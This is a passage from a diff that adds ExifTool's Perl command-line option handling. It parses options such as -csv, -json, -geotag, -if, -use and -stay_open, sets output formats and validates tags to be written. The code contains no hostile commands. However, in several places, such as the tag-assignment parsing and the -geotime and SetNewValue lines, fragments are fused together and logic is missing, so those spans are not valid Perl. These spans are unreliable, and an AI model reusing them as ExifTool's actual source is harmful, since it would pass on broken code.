($mt->Open($fp, $argFile)) { + unless ($argFile !~ /^\// and $mt->Open($fp, "$Image::ExifTool::exeDir/$argFile")) { + Error "Error opening arg file $argFile\n"; + $badCmd = 1; + next + } + } + if ($stayOpen == 1) { + $stayOpenFile = $argFile; # remember the name of the file we have open + $stayOpenBuff = ''; # initialize buffer for reading this file + $stayOpen = 2; + $helped = 1; + ReadStayOpen(\@ARGV); + next; + } + my (@newArgs, $didBOM); + foreach () { + # filter Byte Order Mark if it exists from start of UTF-8 text file + unless ($didBOM) { + s/^\xef\xbb\xbf//; + $didBOM = 1; + } + $_ = FilterArgfileLine($_); + push @newArgs, $_ if defined $_; + } + close ARGFILE; + unshift @ARGV, @newArgs; + next; + } + /^(-?)(a|duplicates)$/i and $mt->Options(Duplicates => ($1 ? 0 : 1)), next; + if ($a eq 'api') { + my $opt = shift; + if (defined $opt and length $opt) { + my $val = ($opt =~ s/=(.*)//s) ? $1 : 1; + # empty string means an undefined value unless ^= is used + $val = undef unless $opt =~ s/\^$// or length $val; + $mt->Options($opt => $val); + } else { + print "Available API Options:\n"; + my $availableOptions = Image::ExifTool::AvailableOptions(); + printf(" %-17s - %s\n", $$_[0], $$_[2]) foreach @$availableOptions; + $helped = 1; + } + next; + } + /^arg(s|format)$/i and $argFormat = 1, next; + if (/^(-?)b(inary)?$/i) { + ($binaryOutput, $noBinary) = $1 ? (undef, 1) : (1, undef); + $mt->Options(Binary => $binaryOutput, NoPDFList => $binaryOutput); + next; + } + if (/^c(oordFormat)?$/i) { + my $fmt = shift; + $fmt or Error("Expecting coordinate format for -c option\n"), $badCmd=1, next; + $mt->Options('CoordFormat', $fmt); + next; + } + if ($a eq 'charset') { + my $charset = (@ARGV and $ARGV[0] !~ /^(-|\xe2\x88\x92)/) ? shift : undef; + if (not $charset) { + $pass or push(@nextPass, '-charset'), next; + my %charsets; + $charsets{$_} = 1 foreach values %Image::ExifTool::charsetName; + PrintTagList('Available character sets', sort keys %charsets); + $helped = 1; + } elsif ($charset !~ s/^(\w+)=// or lc($1) eq 'exiftool') { + { + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + undef $evalWarning; + $mt->Options(Charset => $charset); + } + if ($evalWarning) { + Warn $evalWarning; + } else { + $setCharset = $mt->Options('Charset'); + } + } else { + # set internal encoding of specified metadata type + my $type = { id3 => 'ID3', iptc => 'IPTC', exif => 'EXIF', filename => 'FileName', + photoshop => 'Photoshop', quicktime => 'QuickTime', riff=>'RIFF' }->{lc $1}; + $type or Warn("Unknown type for -charset option: $1\n"), next; + $mt->Options("Charset$type" => $charset); + } + next; + } + /^config$/i and Warn("Ignored -config option (not first on command line)\n"), shift, next; + if (/^csv(\+?=.*)?$/i) { + my $csvFile = $1; + # must process on 2nd pass so -f and -charset options are available + unless ($pass) { + push @nextPass, "-$_"; + if ($csvFile) { + push @newValues, { SaveCount => ++$saveCount }; # marker to save new values now + $csvSaveCount = $saveCount; + } + next; + } + if ($csvFile) { + $csvFile =~ s/^(\+?=)//; + $csvAdd = 2 if $1 eq '+='; + $vout = \*STDERR if $srcStdin; + $verbose and print $vout "Reading CSV file $csvFile\n"; + my $msg; + if ($mt->Open(\*CSVFILE, $csvFile)) { + binmode CSVFILE; + require Image::ExifTool::Import; + $msg = Image::ExifTool::Import::ReadCSV(\*CSVFILE, \%database, $forcePrint, $csvDelim); + close(CSVFILE); + } else { + $msg = "Error opening CSV file '${csvFile}'"; + } + $msg and Warn("$msg\n"); + $isWriting = 1; + } + $csv = 'CSV'; + next; + } + if (/^csvdelim$/i) { + $csvDelim = shift; + defined $csvDelim or Error("Expecting argument for -csvDelim option\n"), $badCmd=1, next; + $csvDelim =~ /"/ and Error("CSV delimiter can not contain a double quote\n"), $badCmd=1, next; + my %unescape = ( 't'=>"\t", 'n'=>"\n", 'r'=>"\r", '\\' => '\\' ); + $csvDelim =~ s/\\(.)/$unescape{$1}||"\\$1"/sge; + $mt->Options(CSVDelim => $csvDelim); + next; + } + if (/^d$/ or $a eq 'dateformat') { + my $fmt = shift; + $fmt or Error("Expecting date format for -d option\n"), $badCmd=1, next; + $mt->Options('DateFormat', $fmt); + next; + } + (/^D$/ or $a eq 'decimal') and $showTagID = 'D', next; + /^delete_original(!?)$/i and $deleteOrig = ($1 ? 2 : 1), next; + /^list_dir$/i and $listDir = 1, next; + (/^e$/ or $a eq '-composite') and $mt->Options(Composite => 0), next; + (/^-e$/ or $a eq 'composite') and $mt->Options(Composite => 1), next; + (/^E$/ or $a eq 'escapehtml') and require Image::ExifTool::HTML and $escapeHTML = 1, next; + ($a eq 'ec' or $a eq 'escapec') and $escapeC = 1, next; + ($a eq 'ex' or $a eq 'escapexml') and $escapeXML = 1, next; + if (/^echo(\d)?$/i) { + my $n = $1 || 1; + my $arg = shift; + next unless defined $arg; + $n > 4 and Warn("Invalid -echo number\n"), next; + if ($n > 2) { + $n == 3 ? push(@echo3, $arg) : push(@echo4, $arg); + } else { + print {$n==2 ? \*STDERR : \*STDOUT} $arg, "\n"; + } + $helped = 1; + next; + } + if (/^(ee|extractembedded)(\d*)$/i) { + $mt->Options(ExtractEmbedded => $2 || 1); + $mt->Options(Duplicates => 1); + next; + } + if (/^efile(\d+)?(!)?$/i) { + my $arg = shift; + defined $arg or Error("Expecting file name for -$_ option\n"), $badCmd=1, next; + $efile[0] = $arg if not $1 or $1 & 0x01;# error + $efile[1] = $arg if $1 and $1 & 0x02; # unchanged + $efile[2] = $arg if $1 and $1 & 0x04; # failed -if condition + $efile[3] = $arg if $1 and $1 & 0x08; # updated + $efile[4] = $arg if $1 and $1 & 0x016; # created + unlink $arg if $2; + next; + } + # (-execute handled at top of loop) + if (/^-?ext(ension)?(\+)?$/i) { + my $ext = shift; + defined $ext or Error("Expecting extension for -ext option\n"), $badCmd=1, next; + my $flag = /^-/ ? 0 : ($2 ? 2 : 1); + $filterFlag |= (0x01 << $flag); + $ext =~ s/^\.//; # remove leading '.' if it exists + $filterExt{uc($ext)} = $flag ? 1 : 0; + next; + } + if (/^f$/ or $a eq 'forceprint') { + $forcePrint = 1; + next; + } + if (/^F([-+]?\d*)$/ or /^fixbase([-+]?\d*)$/i) { + $mt->Options(FixBase => $1); + next; + } + if (/^fast(\d*)$/i) { + $mt->Options(FastScan => (length $1 ? $1 : 1)); + next; + } + if (/^(file\d+)$/i) { + $altFile{lc $1} = shift or Error("Expecting file name for -file option\n"), $badCmd=1, next; + next; + } + if (/^fileorder(\d*)$/i) { + push @fileOrder, shift if @ARGV; + my $num = $1 || 0; + $fileOrderFast = $num if not defined $fileOrderFast or $fileOrderFast > $num; + next; + } + $a eq 'globaltimeshift' and $mt->Options(GlobalTimeShift => shift), next; + if (/^(g)(roupHeadings|roupNames)?([\d:]*)$/i) { + $showGroup = $3 || 0; + $allGroup = ($2 ? lc($2) eq 'roupnames' : $1 eq 'G'); + $mt->Options(SavePath => 1) if $showGroup =~ /\b5\b/; + $mt->Options(SaveFormat => 1) if $showGroup =~ /\b6\b/; + next; + } + if ($a eq 'geotag') { + my $trkfile = shift; + unless ($pass) { + # defer to next pass so the filename charset is available + push @nextPass, '-geotag', $trkfile; + next; + } + $trkfile or Error("Expecting file name for -geotag option\n"), $badCmd=1, next; + # allow wildcards in filename + if ($trkfile =~ /[*?]/) { + # CORE::glob() splits on white space, so use File::Glob if possible + my @trks; + if ($^O eq 'MSWin32' and eval { require Win32::FindFile }) { + # ("-charset filename=UTF8" must be set for this to work with Unicode file names) + @trks = FindFileWindows($mt, $trkfile); + } elsif (eval { require File::Glob }) { + @trks = File::Glob::bsd_glob($trkfile); + } else { + @trks = glob($trkfile); + } + @trks or Error("No matching file found for -geotag option\n"), $badCmd=1, next; + push @newValues, 'geotag='.shift(@trks) while @trks > 1; + $trkfile = pop(@trks); + } + $_ = "geotag=$trkfile"; + # (fall through!) + } + if (/^h$/ or $a eq 'htmlformat') { + require Image::ExifTool::HTML; + $html = $escapeHTML = 1; + $json = $xml = 0; + next; + } + (/^H$/ or $a eq 'hex') and $showTagID = 'H', next; + if (/^htmldump([-+]?\d+)?$/i) { + $verbose = ($verbose || 0) + 1; + $html = 2; + $mt->Options(HtmlDumpBase => $1) if defined $1; + next; + } + if (/^i(gnore)?$/i) { + my $dir = shift; + defined $dir or Error("Expecting directory name for -i option\n"), $badCmd=1, next; + $ignore{$dir} = 1; + $dir eq 'HIDDEN' and $ignoreHidden = 1; + next; + } + if (/^if(\d*)$/i) { + my $cond = shift; + my $fast = length($1) ? $1 : undef; + defined $cond or Error("Expecting expression for -if option\n"), $badCmd=1, next; + # use lowest -fast setting if multiple conditions + if (not @condition or not defined $fast or (defined $fastCondition and $fastCondition > $fast)) { + $fastCondition = $fast; + } + # prevent processing file unnecessarily for simple case of failed '$ok' or 'not $ok' + $cond =~ /^\s*(not\s*)\$ok\s*$/i and ($1 xor $rtnValPrev) and $failCondition=1; + # add to list of requested tags + push @requestTags, $cond =~ /\$\{?((?:[-\w]+:)*[-\w?*]+)/g; + push @condition, $cond; + next; + } + if (/^j(son)?(\+?=.*)?$/i) { + if ($2) { + # must process on 2nd pass because we need -f and -charset options + unless ($pass) { + push @nextPass, "-$_"; + push @newValues, { SaveCount => ++$saveCount }; # marker to save new values now + $csvSaveCount = $saveCount; + next; + } + my $jsonFile = $2; + $jsonFile =~ s/^(\+?=)//; + $csvAdd = 2 if $1 eq '+='; + $vout = \*STDERR if $srcStdin; + $verbose and print $vout "Reading JSON file $jsonFile\n"; + my $chset = $mt->Options('Charset'); + my $msg; + if ($mt->Open(\*JSONFILE, $jsonFile)) { + binmode JSONFILE; + require Image::ExifTool::Import; + $msg = Image::ExifTool::Import::ReadJSON(\*JSONFILE, \%database, $forcePrint, $chset); + close(JSONFILE); + } else { + $msg = "Error opening JSON file '${jsonFile}'"; + } + $msg and Warn("$msg\n"); + $isWriting = 1; + $csv = 'JSON'; + } else { + $json = 1; + $html = $xml = 0; + $mt->Options(Duplicates => 1); + require Image::ExifTool::XMP; # for FixUTF8() + } + next; + } + /^(k|pause)$/i and $pause = 1, next; + (/^l$/ or $a eq 'long') and --$outFormat, next; + (/^L$/ or $a eq 'latin') and $mt->Options(Charset => 'Latin'), next; + if ($a eq 'lang') { + $langOpt = (@ARGV and $ARGV[0] !~ /^(-|\xe2\x88\x92)/) ? shift : undef; + if ($langOpt) { + # make lower case and use underline as a separator (eg. 'en_ca') + $langOpt =~ tr/-A-Z/_a-z/; + $mt->Options(Lang => $langOpt); + next if $langOpt eq $mt->Options('Lang'); + } else { + $pass or push(@nextPass, '-lang'), next; + } + my $langs = $quiet ? '' : "Available languages:\n"; + $langs .= " $_ - $Image::ExifTool::langName{$_}\n" foreach @Image::ExifTool::langs; + $langs =~ tr/_/-/; # display dashes instead of underlines in language codes + $langs = Image::ExifTool::HTML::EscapeHTML($langs) if $escapeHTML; + $langs = $mt->Decode($langs, 'UTF8'); + $langOpt and Error("Invalid or unsupported language '${langOpt}'.\n$langs"), $badCmd=1, next; + print $langs; + $helped = 1; + next; + } + if ($a eq 'listitem') { + my $li = shift; + defined $li and Image::ExifTool::IsInt($li) or Warn("Expecting integer for -listItem option\n"), next; + $mt->Options(ListItem => $li); + $listItem = $li; + next; + } + /^(m|ignoreminorerrors)$/i and $mt->Options(IgnoreMinorErrors => 1), next; + /^(n|-printconv)$/i and $mt->Options(PrintConv => 0), next; + /^(-n|printconv)$/i and $mt->Options(PrintConv => 1), next; + $a eq 'nop' and $helped=1, next; # (undocumented) no operation, added in 11.25 + if (/^o(ut)?$/i) { + $outOpt = shift; + defined $outOpt or Error("Expected output file or directory name for -o option\n"), $badCmd=1, next; + CleanFilename($outOpt); + # verbose messages go to STDERR of output is to console + $vout = \*STDERR if $vout =~ /^-(\.\w+)?$/; + next; + } + /^overwrite_original$/i and $overwriteOrig = 1, next; + /^overwrite_original_in_place$/i and $overwriteOrig = 2, next; + if (/^p(-?)$/ or /^printformat(-?)$/i) { + my $fmt = shift; + if ($pass) { + LoadPrintFormat($fmt, $1 || $binaryOutput); + # load MWG module now if necessary + if (not $useMWG and grep /^mwg:/i, @requestTags) { + $useMWG = 1; + require Image::ExifTool::MWG; + Image::ExifTool::MWG::Load(); + } + } else { + # defer to next pass so the filename charset is available + push @nextPass, "-$_", $fmt; + } + next; + } + (/^P$/ or $a eq 'preserve') and $preserveTime = 1, next; + /^password$/i and $mt->Options(Password => shift), next; + if (/^progress(\d*)(:.*)?$/i) { + $progressIncr = $1 || 1; + $progressNext = 0; # start showing progress at the first file + if ($2) { + $windowTitle = substr $2, 1; + $windowTitle = 'ExifTool %p%%' unless length $windowTitle; + $windowTitle =~ /%\d*[bpr]/ and $progress = 0 unless defined $progress; + } else { + $progress = 1; + $verbose = 0 unless defined $verbose; + } + $progressCount = 0; + next; + } + /^q(uiet)?$/i and ++$quiet, next; + /^r(ecurse)?(\.?)$/i and $recurse = ($2 ? 2 : 1), next; + if ($a eq 'require') { # (undocumented) added in version 8.65 + my $ver = shift; + unless (defined $ver and Image::ExifTool::IsFloat($ver)) { + Error("Expecting version number for -require option\n"); + $badCmd = 1; + next; + } + unless ($Image::ExifTool::VERSION >= $ver) { + Error("Requires ExifTool version $ver or later\n"); + $badCmd = 1; + } + next; + } + /^restore_original$/i and $deleteOrig = 0, next; + (/^S$/ or $a eq 'veryshort') and $outFormat+=2, next; + /^s(hort)?(\d*)$/i and $outFormat = $2 eq '' ? $outFormat + 1 : $2, next; + /^scanforxmp$/i and $mt->Options(ScanForXMP => 1), next; + if (/^sep(arator)?$/i) { + my $sep = $listSep = shift; + defined $listSep or Error("Expecting list item separator for -sep option\n"), $badCmd=1, next; + $sep =~ s/\\(.)/$unescapeChar{$1}||$1/sge; # translate escape sequences + (defined $binSep ? $binTerm : $binSep) = $sep; + $mt->Options(ListSep => $listSep); + $joinLists = 1; + # also split when writing values + my $listSplit = quotemeta $listSep; + # a space in the string matches zero or more whitespace characters + $listSplit =~ s/(\\ )+/\\s\*/g; + # but a single space alone matches one or more whitespace characters + $listSplit = '\\s+' if $listSplit eq '\\s*'; + $mt->Options(ListSplit => $listSplit); + next; + } + /^(-)?sort$/i and $sortOpt = $1 ? 0 : 1, next; + if ($a eq 'srcfile') { + @ARGV or Warn("Expecting FMT for -srcfile option\n"), next; + push @srcFmt, shift; + next; + } + if ($a eq 'stay_open') { + my $arg = shift; + defined $arg or Warn("Expecting argument for -stay_open option\n"), next; + if ($arg =~ /^(1|true)$/i) { + if (not $stayOpen) { + $stayOpen = 1; + } elsif ($stayOpen == 2) { + $stayOpen = 3; # chained -stay_open options + } else { + Warn "-stay_open already active\n"; + } + } elsif ($arg =~ /^(0|false)$/i) { + if ($stayOpen >= 2) { + # close -stay_open argfile and process arguments up to this point + close STAYOPEN; + push @ARGV, @moreArgs; + undef @moreArgs; + } elsif (not $stayOpen) { + Warn("-stay_open wasn't active\n"); + } + $stayOpen = 0; + } else { + Warn "Invalid argument for -stay_open\n"; + } + next; + } + if (/^(-)?struct$/i) { + $mt->Options(Struct => $1 ? 0 : 1); + next; + } + /^t(ab)?$/ and $tabFormat = 1, next; + if (/^T$/ or $a eq 'table') { + $tabFormat = $forcePrint = 1; $outFormat+=2; ++$quiet; + next; + } + if (/^(u)(nknown(2)?)?$/i) { + my $inc = ($3 or (not $2 and $1 eq 'U')) ? 2 : 1; + $mt->Options(Unknown => $mt->Options('Unknown') + $inc); + next; + } + if ($a eq 'use') { + my $module = shift; + $module or Error("Expecting module name for -use option\n"), $badCmd=1, next; + lc $module eq 'mwg' and $useMWG = 1, next; + $module =~ /[^\w:]/ and Error("Invalid module name: $module\n"), $badCmd=1, next; + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + unless (eval "require Image::ExifTool::$module" or + eval "require $module" or + eval "require '${module}'") + { + Error("Error using module $module\n"); + $badCmd = 1; + } + next; + } + if ($a eq 'userparam') { + my $opt = shift; + defined $opt or Error("Expected parameter for -userParam option\n"), $badCmd=1, next; + $opt =~ /=/ or $opt .= '=1'; + $mt->Options(UserParam => $opt); + next; + } + if (/^v(erbose)?(\d*)$/i) { + $verbose = ($2 eq '') ? ($verbose || 0) + 1 : $2; + next; + } + if (/^(w|textout|tagout)([!+]*)$/i) { + # (note: all logic ignores $textOut of 0 or '') + $textOut = shift || Warn("Expecting argument for -$_ option\n"); + my ($t1, $t2) = ($1, $2); + $textOverwrite = 0; + $textOverwrite += 1 if $t2 =~ /!/; # overwrite + $textOverwrite += 2 if $t2 =~ /\+/; # append + if ($t1 ne 'W' and lc($t1) ne 'tagout') { + undef $tagOut; + } elsif ($textOverwrite >= 2 and $textOut !~ /%[-+]?\d*[.:]?\d*[lu]?[tgso]/) { + $tagOut = 0; # append tags to one file + } else { + $tagOut = 1; # separate file for each tag + } + next; + } + if (/^(-?)(wext|tagoutext)$/i) { + my $ext = shift; + defined $ext or Error("Expecting extension for -wext option\n"), $badCmd=1, next; + my $flag = 1; + $1 and $wext{'*'} = 1, $flag = -1; + $ext =~ s/^\.//; + $wext{lc $ext} = $flag; + next; + } + if ($a eq 'wm' or $a eq 'writemode') { + my $wm = shift; + defined $wm or Error("Expecting argument for -$_ option\n"), $badCmd=1, next; + $wm =~ /^[wcg]*$/i or Error("Invalid argument for -$_ option\n"), $badCmd=1, next; + $mt->Options(WriteMode => $wm); + next; + } + if (/^x$/ or $a eq 'exclude') { + my $tag = shift; + defined $tag or Error("Expecting tag name for -x option\n"), $badCmd=1, next; + $tag =~ s/\ball\b/\*/ig; # replace 'all' with '*' in tag names + if ($setTagsFile) { + push @{$setTags{$setTagsFile}}, "-$tag"; + } else { + push @exclude, $tag; + } + next; + } + (/^X$/ or $a eq 'xmlformat') and $xml = 1, $html = $json = 0, $mt->Options(Duplicates => 1), next; + if (/^php$/i) { + $json = 2; + $html = $xml = 0; + $mt->Options(Duplicates => 1); + next; + } + if (/^z(ip)?$/i) { + $doUnzip = 1; + $mt->Options(Compress => 1, XMPShorthand => 1); + $mt->Options(Compact => 1) unless $mt->Options('Compact'); + next; + } + $_ eq '' and push(@files, '-'), $srcStdin = 1, next; # read STDIN + length $_ eq 1 and $_ ne '*' and Error("Unknown option -$_\n"), $badCmd=1, next; + if (/^[^<]+( ++$saveCount }; + } + push @newValues, $_; + if (/^mwg:/i) { + $useMWG = 1; + } elsif (/^([-\w]+:)*(filename|directory|testname)\b/i) { + $doSetFileName = 1; + } elsif (/^([-\w]+:)*(geotag|geotime|geosync|geolocate)\b/i) { + if (lc $2 eq 'geotime') { + $addGeotime = ''; + } else { + # add geotag/geosync/geolocate commands first + unshift @newValues, pop @newValues; + if (lc $2 eq 'geotag' and (not defined $addGeotime or $addGeotime) and length $val) { + $addGeotime = ($1 || '') . 'Geotime)/; + if ($setTagsFile) { + push @{$setTags{$setTagsFile}}, $_; + if ($1 eq '>') { + $useMWG = 1 if /^(.*>\s*)?mwg:/si; + if (/\b(filename|directory|testname)#?$/i) { + $doSetFileName = 1; + } elsif (/\bgeotime#?$/i) { + $addGeotime = ''; + } + } else { + $useMWG = 1 if /^([^<]+<\s*(.*\$\{?)?)?mwg:/si; + if (/^([-\w]+:)*(filename|directory|testname)\b/i) { + $doSetFileName = 1; + } elsif (/^([-\w]+:)*geotime\b/i) { + $addGeotime = ''; + } + } + } else { + my $lst = s/^-// ? \@exclude : \@tags; + unless (/^([-\w*]+:)*([-\w*?]+)#?$/) { + Warn(qq(Invalid TAG name: "$_"\n)); + } + push @$lst, $_; # (push everything for backward compatibility) + } + } + } else { + unless ($pass) { + # defer to next pass so the filename charset is available + push @nextPass, $_; + next; + } + if ($doGlob and /[*?]/) { + if ($^O eq 'MSWin32' and eval { require Win32::FindFile }) { + push @files, FindFileWindows($mt, $_); + } else { + # glob each filespec if necessary - MK/20061010 + push @files, File::Glob::bsd_glob($_); + } + $doGlob = 2; + } else { + push @files, $_; + $srcStdin = 1 if $_ eq '-'; + } + } +} + +# set "OK" UserParam based on result of last command +$mt->Options(UserParam => 'OK=' . (not $rtnValPrev)); + +# set verbose output to STDERR if output could be to console +$vout = \*STDERR if $srcStdin and ($isWriting or @newValues); +$mt->Options(TextOut => $vout) if $vout eq \*STDERR; + +# change default EXIF string encoding if MWG used +if ($useMWG and not defined $mt->Options('CharsetEXIF')) { + $mt->Options(CharsetEXIF => 'UTF8'); +} + +# allow geolocation without input file if set to a position +if (not @files and not $outOpt and not @newValues) { + my $loc = $mt->Options('Geolocation'); + # use undocumented feature to input JSON file directly from command line + $loc and $loc ne '1' and push(@files, qq(\@JSON:{})), $geoOnly = 1; +} + +# print help +unless ((@tags and not $outOpt) or @files or @newValues or $geoOnly) { + if ($doGlob and $doGlob == 2) { + Warn "No matching files\n"; + $rtnVal = 1; + next; + } + if ($outOpt) { + Warn "Nothing to write\n"; + $rtnVal = 1; + next; + } + unless ($helped) { + # catch warnings if we have problems running perldoc + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + my $dummy = \*SAVEERR; # avoid "used only once" warning + unless ($^O eq 'os2') { + open SAVEERR, ">&STDERR"; + open STDERR, '>/dev/null'; + } + if (system('perldoc',$0)) { + print "Syntax: exiftool [OPTIONS] FILE\n\n"; + print "Consult the exiftool documentation for a full list of options.\n"; + } + unless ($^O eq 'os2') { + close STDERR; + open STDERR, '>&SAVEERR'; + } + } + next; +} + +# do sanity check on -delete_original and -restore_original +if (defined $deleteOrig and (@newValues or @tags)) { + if (not @newValues) { + my $verb = $deleteOrig ? 'deleting' : 'restoring from'; + Warn "Can't specify tags when $verb originals\n"; + } elsif ($deleteOrig) { + Warn "Can't use -delete_original when writing.\n"; + Warn "Maybe you meant -overwrite_original ?\n"; + } else { + Warn "It makes no sense to use -restore_original when writing\n"; + } + $rtnVal = 1; + next; +} + +if ($overwriteOrig > 1 and $outOpt) { + Warn "Can't overwrite in place when -o option is used\n"; + $rtnVal = 1; + next; +} + +if ($tagOut and ($csv or %printFmt or $tabFormat or $xml or ($verbose and $html))) { + Warn "Sorry, -W may not be combined with -csv, -htmlDump, -j, -p, -t or -X\n"; + $rtnVal = 1; + next; +} + +if ($csv and $csv eq 'CSV' and not $isWriting) { + if ($textOut) { + Warn "Sorry, -w may not be combined with -csv\n"; + $rtnVal = 1; + next; + } + if ($binaryOutput) { + $binaryOutput = 0; + $setCharset = 'default' unless defined $setCharset; + } + if (%printFmt) { + Warn "The -csv option has no effect when -p is used\n"; + undef $csv; + } + require Image::ExifTool::XMP if $setCharset; +} + +if ($escapeHTML or $json) { + # must be UTF8 for HTML conversion and JSON output + $mt->Options(Charset => 'UTF8') if $json; + # use Escape option to do our HTML escaping unless XML output + $mt->Options(Escape => 'HTML') if $escapeHTML and not $xml; +} elsif ($escapeXML and not $xml) { + $mt->Options(Escape => 'XML'); +} + +# set sort option +if ($sortOpt) { + # (note that -csv sorts alphabetically by default anyway if more than 1 file) + my $sort = ($outFormat > 0 or $xml or $json or $csv) ? 'Tag' : 'Descr'; + $mt->Options(Sort => $sort, Sort2 => $sort); +} + +# set $structOpt in case set by API option +if ($mt->Options('Struct') and not $structOpt) { + $structOpt = $mt->Options('Struct'); + require 'Image/ExifTool/XMPStruct.pl'; +} + +# set up for RDF/XML, JSON and PHP output formats +if ($xml) { + require Image::ExifTool::XMP; # for EscapeXML() + my $charset = $mt->Options('Charset'); + # standard XML encoding names for supported Charset settings + # (ref http://www.iana.org/assignments/character-sets) + my %encoding = ( + UTF8 => 'UTF-8', + Latin => 'windows-1252', + Latin2 => 'windows-1250', + Cyrillic => 'windows-1251', + Greek => 'windows-1253', + Turkish => 'windows-1254', + Hebrew => 'windows-1255', + Arabic => 'windows-1256', + Baltic => 'windows-1257', + Vietnam => 'windows-1258', + MacRoman => 'macintosh', + ); + # switch to UTF-8 if we don't have a standard encoding name + unless ($encoding{$charset}) { + $charset = 'UTF8'; + $mt->Options(Charset => $charset); + } + # set file header/trailer for XML output + $fileHeader = "\n" . + "\n"; + $fileTrailer = "\n"; + # extract as a list unless short output format + $joinLists = 1 if $outFormat > 0; + $mt->Options(List => 1) unless $joinLists; + $showGroup = $allGroup = 1; # always show group 1 + # set binaryOutput flag to 0 or undef (0 = output encoded binary in XML) + $binaryOutput = ($outFormat > 0 ? undef : 0) if $binaryOutput; + $showTagID = 'D' if $tabFormat and not $showTagID; +} elsif ($json) { + if ($json == 1) { # JSON + $fileHeader = '['; + $fileTrailer = "]\n"; + } else { # PHP + $fileHeader = 'Array('; + $fileTrailer = ");\n"; + } + # allow binary output in a text-mode file when -php/-json and -b used together + # (this works because PHP strings are simple arrays of bytes, and CR/LF + # won't be messed up in the text mode output because they are converted + # to escape sequences in the strings) + if ($binaryOutput) { + $binaryOutput = 0; + require Image::ExifTool::XMP if $json == 1; # (for EncodeBase64) + } + $mt->Options(List => 1) unless $joinLists; + $showTagID = 'D' if $tabFormat and not $showTagID; +} elsif ($structOpt) { + $mt->Options(List => 1); +} else { + $joinLists = 1; # join lists for all other unstructured output formats +} + +if ($argFormat) { + $outFormat = 3; + $allGroup = 1 if defined $showGroup; +} + +# change to forward slashes if necessary in all filenames (like CleanFilename) +if ($hasBackslash{$^O}) { + tr/\\/\// foreach @files; +} + +# can't do anything if no file specified +unless (@files) { + unless ($outOpt) { + if ($doGlob and $doGlob == 2) { + Warn "No matching files\n"; + } else { + Warn "No file specified\n"; + } + $rtnVal = 1; + next; + } + push @files, ''; # create file from nothing +} + +# set Verbose and HtmlDump options +if ($verbose) { + $disableOutput = 1 unless @tags or @exclude or $tagOut; + undef $binaryOutput unless $tagOut; # disable conflicting option + if ($html) { + $html = 2; # flag for html dump + $mt->Options(HtmlDump => $verbose); + } else { + $mt->Options(Verbose => $verbose) unless $tagOut; + } +} elsif (defined $verbose) { + # auto-flush output when -v0 is used + require FileHandle; + STDOUT->autoflush(1); + STDERR->autoflush(1); +} + +# validate all tags we're writing +my $needSave = 1; +if (@newValues) { + # assume -geotime value if -geotag specified without -geotime + if ($addGeotime) { + AddSetTagsFile($setTagsFile = '@') unless $setTagsFile and $setTagsFile eq '@'; + push @{$setTags{$setTagsFile}}, $addGeotime; + $verbose and print $vout qq{Argument "-$addGeotime" is assumed\n}; + } + my %setTagsIndex; + # add/delete option lookup + my %addDelOpt = ( '+' => 'AddValue', '-' => 'DelValue', "\xe2\x88\x92" => 'DelValue' ); + $saveCount = 0; + foreach (@newValues) { + if (ref $_ eq 'HASH') { + # save new values now if we stored a "SaveCount" marker + if ($$_{SaveCount}) { + $saveCount = $mt->SaveNewValues(); + $needSave = 0; + # insert marker to load values from CSV file now if this was the CSV file + push @dynamicFiles, \$csv if $$_{SaveCount} == $csvSaveCount; + } + next; + } + /(.*?)=(.*)/s or next; + my ($tag, $newVal) = ($1, $2); + $tag =~ s/\ball\b/\*/ig; # replace 'all' with '*' in tag names + $newVal eq '' and undef $newVal unless $tag =~ s/\^([-+]*)$/$1/; # undefined to delete tag + if ($tag =~ /^(All)?TagsFromFile$/i) { + defined $newVal or Error("Need file name for -tagsFromFile\n"), next Command; + ++$isWriting; + if ($newVal eq '@' or not defined FilenameSPrintf($newVal) or + # can't set tags yet if we are using tags from other files with the -fileNUM option + grep /\bfile\d+:/i, @{$setTags{$newVal}}) + { + push @dynamicFiles, $newVal; + next; # set tags from dynamic file later + } + unless ($mt->Exists($newVal) or $newVal eq '-') { + Warn "File '${newVal}' does not exist for -tagsFromFile option\n"; + $rtnVal = 1; + next Command; + } + my $setTags = $setTags{$newVal}; + # do we have multiple -tagsFromFile options with this file? + if ($setTagsList{$newVal}) { + # use the tags set in the i-th occurrence + my $i = $setTagsIndex{$newVal} || 0; + $setTagsIndex{$newVal} = $i + 1; + $setTags = $setTagsList{$newVal}[$i] if $setTagsList{$newVal}[$i]; + } + # set specified tags from this file + unless (DoSetFromFile($mt, $newVal, $setTags)) { + $rtnVal = 1; + next Command; + } + $needSave = 1; + next; + } + my %opts = ( Shift => 0 ); # shift values if possible instead of adding/deleting + # allow writing of 'Unsafe' tags unless specified by wildcard + $opts{Protected} = 1 unless $tag =~ /[?*]/; + + if ($tag =~ s/SetNewValue($tag, $newVal, %opts); + $needSave = 1; + ++$isWriting if $rtn; + $wrn and Warning($mt, $wrn); + } + # exclude specified tags + foreach (@exclude) { + $mt->SetNewValue($_, undef, Replace => 2); + $needSave = 1; + } + unless ($isWriting or $outOpt or @tags) { + Warn "Nothing to do.\n"; + $rtnVal = 1; + next; + } +} elsif (grep /^(\*:)?\*$/, @exclude) { + Warn "All tags excluded -- nothing to do.\n"; + $rtnVal = 1; + next; +} +if ($isWriting and @tags and not $outOpt) { + my ($tg, $s) = @tags > 1 ? ("$tags[0] ...", 's') : ($tags[0], ''); + Warn "Ignored superfluous tag name$s or invalid option$s: -$tg\n"; +} +# save current state of new values if setting values from target file +# or if we may be translating to a different format +$mt->SaveNewValues() if $outOpt or (@dynamicFiles and $needSave); + +$multiFile = 1 if @files > 1; +@exclude and $mt->Options(Exclude => \@exclude); + +undef $binaryOutput if $html; + +if ($binaryOutput) { + $outFormat = 99; # shortest possible output format + $mt->Options(PrintConv => 0); + unless ($textOut or $binaryStdout) { + binmode(STDOUT); + $binaryStdout = 1; + $mt->Options(TextOut => ($vout = \*STDERR)); + } + # disable conflicting options + undef $showGroup; +} + +# sort by groups to look nicer depending on options +if (defined $showGroup and not (@tags and $allGroup) and ($sortOpt or not defined $sortOpt)) { + $mt->Options(Sort => "Group$showGroup"); +} + +if ($textOut) { + CleanFilename($textOut); # make all forward slashes + # add '.' before output extension if necessary + $textOut = ".$textOut" unless $textOut =~ /[.%]/ or defined $tagOut; +} + +# determine if we should scan for only writable files +if ($outOpt) { + my $type = GetFileType($outOpt); + if ($type) { + # (must test original file name because we can write .webp but not other RIFF types) + my $canWrite = 